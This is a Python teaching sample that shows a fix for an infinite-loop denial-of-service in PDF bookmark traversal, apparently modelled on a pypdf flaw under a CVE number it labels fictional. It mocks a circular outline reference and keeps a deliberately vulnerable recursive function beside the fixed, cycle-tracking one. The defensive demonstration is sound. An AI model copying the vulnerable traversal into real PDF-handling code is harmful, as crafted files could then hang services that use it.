Patched code sample

import sys

# Set a higher recursion limit for demonstration purposes, though the fix
# prevents reaching it.
sys.setrecursionlimit(2000)

# This code demonstrates the logical fix for a vulnerability where a crafted
# PDF with circular references in its outlines (bookmarks) can cause an
# infinite loop. The vulnerability described (CVE-2026-24688) is fictional,
# but the pattern is based on a real vulnerability (CVE-2023-36464) in pypdf.

# --- Data Structures to Mock PDF Objects ---

# In a real PDF, objects have unique identifiers (idnum, gen).
# We simulate this with a simple object ID.
class MockPdfObject:
    """A mock object to simulate a PDF dictionary-like object."""
    def __init__(self, obj_id, data):
        self.obj_id = obj_id
        self.data = data

    def get(self, key):
        return self.data.get(key)

    def __getitem__(self, key):
        return self.data[key]

    def __contains__(self, key):
        return key in self.data

# --- Mock PDF with a Circular Reference in Outlines ---

# Let's create a set of mock PDF objects that represent a malicious
# outline structure.
#
# Outline 1 --> links to Outline 2 as its "Next" sibling.
# Outline 2 --> links back to Outline 1 as its "Next" sibling, creating a loop.

# Object ID: 1
outline_1 = MockPdfObject(1, {"/Title": "Chapter 1"})

# Object ID: 2
outline_2 = MockPdfObject(2, {"/Title": "Chapter 2"})

# Create the circular reference: 1 -> 2 -> 1
outline_1.data["/Next"] = outline_2
outline_2.data["/Next"] = outline_1

# The root of the outlines points to the first outline item.
outline_root = MockPdfObject(0, {"/First": outline_1})

# --- Vulnerable vs. Fixed Traversal Logic ---

def vulnerable_get_outlines(outline_item):
    """
    A simplified representation of the vulnerable outline traversal logic.
    This function will enter an infinite loop if a circular reference exists.
    """
    print(f"Processing (vulnerable): {outline_item.get('/Title')}")
    if "/Next" in outline_item:
        # This will bounce between outline_1 and outline_2 forever.
        vulnerable_get_outlines(outline_item["/Next"])

def fixed_get_outlines(outline_item, visited_objs):
    """
    A representation of the fixed outline traversal logic.
    It tracks visited objects to prevent infinite loops.
    This is the core of the fix for this class of vulnerability.

    Args:
        outline_item: The current mock PDF object to process.
        visited_objs: A set of object IDs that have already been processed
                      to detect and break cycles.
    """
    # 1. Check if the object has already been visited.
    if outline_item.obj_id in visited_objs:
        # 2. If so, break the potential infinite loop by returning immediately.
        print(f"  -> Detected circular reference to object {outline_item.obj_id}. Halting.")
        return

    # 3. If not visited, add its ID to the set of visited objects.
    visited_objs.add(outline_item.obj_id)
    print(f"Processing (fixed): {outline_item.get('/Title')}")

    # Process children recursively (if any)
    if "/First" in outline_item:
        fixed_get_outlines(outline_item["/First"], visited_objs)

    # Process siblings (if any)
    if "/Next" in outline_item:
        fixed_get_outlines(outline_item["/Next"], visited_objs)


if __name__ == "__main__":
    print("--- Demonstrating the Fix for Outline Infinite Loop ---")
    print("The mock PDF contains an outline structure where Chapter 2 points back to Chapter 1.\n")

    # In a real library, this would be called on the root of the outlines.
    # We start the process with an empty set of visited objects.
    initial_visited_set = set()
    root_item = outline_root.get("/First")

    print("Running the FIXED version of the outline traversal:")
    fixed_get_outlines(root_item, initial_visited_set)
    print("\nFixed traversal completed successfully without an infinite loop.")

    print("\n---")
    print("Attempting to run the VULNERABLE version (will be interrupted):")
    try:
        # This function would run forever. In a real scenario, this would
        # cause a Denial of Service (DoS) by consuming 100% CPU.
        # We simulate this with a recursion depth error.
        vulnerable_get_outlines(root_item)
    except RecursionError:
        print("\nCaught RecursionError: The vulnerable function created an infinite loop as expected.")
    except Exception as e:
        print(f"An unexpected error occurred: {e}")